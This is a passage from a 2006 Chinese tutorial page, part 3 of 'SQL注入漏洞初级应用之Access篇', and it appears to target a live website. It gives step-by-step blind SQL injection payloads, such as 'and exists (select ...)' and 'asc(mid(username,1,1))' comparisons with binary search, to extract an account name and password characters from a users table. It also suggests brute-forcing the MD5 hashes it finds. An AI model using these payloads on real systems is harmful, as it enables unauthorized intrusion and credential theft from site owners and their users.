设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 办公软件 >> Access >> SQL注入漏洞初级应用之Access篇
精品推荐
Access点击TOP10
·升级至 Access 2000 时出现不可识别的数据库格式错误消息
·SQL注入漏洞初级应用之Access篇
·揭开Microsoft Access秘密技巧以及陷阱
·防止Access数据库被下载的9种方法
·纯编码实现Access数据库的建立或压缩
·如何防治Access宏病毒的通用技巧
·Microsoft Access Snapshot Viewer远程缓冲区溢出漏洞
·在access中增加农历支持模块.
·探索Access数据库最佳NTFS权限设置
·教你如何防治Access宏病毒的通用技巧
办公软件点击TOP10
·Excel常用技巧25条
·Excel表格分栏打印输出的两种巧妙方法
·让Word2003代替金山词霸帮你翻译英文
·轻松破解Word与Excel的文档密码
·教你微软Office Word文挡损坏后的修复
·Word表格行、列、单元格的添加与删除
·Excel表格中关于序号处理的五则技巧
·OutLook Express邮件数据备份和恢复
·Word公式编辑器快速上手指南
·Excel中双座标排列图的制作实例
精选专题

SQL注入漏洞初级应用之Access篇

作者: 来源: 时间:2006-4-26 20:52:48

SQL注入漏洞初级应用之Access篇(3)
  and exists (select userid from users where len(username)=4 and userid=11),说明账号的长度为4,也太短了吧,呵呵,别高兴的太早,如图6:

  

SQL



  再接下来猜密码长度,与猜解账号长度类似,最后猜到密码长度为16位,语句:and exists (select userid from users where len(userpwd)=16 and userid=11),不过我要提醒的是,一般遇到16位或者32位的密码,我都会想到MD5加密,当然可以暴力破解。

  到此,我们得到的信息如下:

  账号username长度:4

  密码userpwd长度:16 
    7.猜解账号密码字符

  在这里的猜解要用到asc(mid())这个函数。前面基础篇我们已经讲过这些函数了,我这里稍提一下。asc()是把字符转换为其对应的ASC码,mid()则是定位字符串里的字符。

  格式:mid(字符串,开始位置,子串长度)

  比如说mid(name,1,1)即取name字符串里第一个字符。如果这里的name等于xysky 则mid(name,1,1)=x而mid(name,1,2)则取y

  这两个函数结合asc(mid())则是先定位字符串里的字符再取其ASC码,比如asc(mid(username,2,1))则是判断username字符串里的第二位的ASC码,在SQL注入里常用它,有汉字也不用怕,不过遇上了汉字确实有点郁闷,中文字符的asc值小于0的。在后面加上如下的语句:

  and 11=(select userid from users where asc(mid(username,1,1))<0) 返回正常,说明账号果然是汉字,下面的事就不那么容易了。下面我们用到二分法的思想开始猜解第一位字符:

  and 11=(select userid from users where asc(mid(username,1,1))<-19000) 返回正常

  and 11=(select userid from users where asc(mid(username,1,1))>-20000) 返回正常

  以上说明账号的第一个字符的ASCII码在-19000和-20000之间,再用二分法猜解下去,最后的第一个为:-19765

  and 11=(select userid from users where asc(mid(username,1,1))= -19765)

  ASCII码为-19765对应的字符就是:菜

  下面接着猜第二个字符,最后语法为:and 11=(select userid from users where asc(mid(username,2,1))=-15119),这里抓个图,如图7:

  

SQL



  对应字符为:鸟

  到这里我想其它不用猜了,因为这个网站上的信息已经告诉我们了:

  作者:菜鸟老师 票数:0等级:点击:308 呵呵,如果没错的话就是它了。

  接着猜密码,依然二分法,就不抓图了:

  and 11=(select userid from users where asc(mid(userpwd,1,1))<50)

  and 11=(select userid from users where asc(mid(userpwd,1,1))>40)

共4页 9 7 [1] [2] [3] [48 :>

SQL注入漏洞初级应用之Access篇 相关文章:
SQL注入漏洞初级应用之Access篇 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com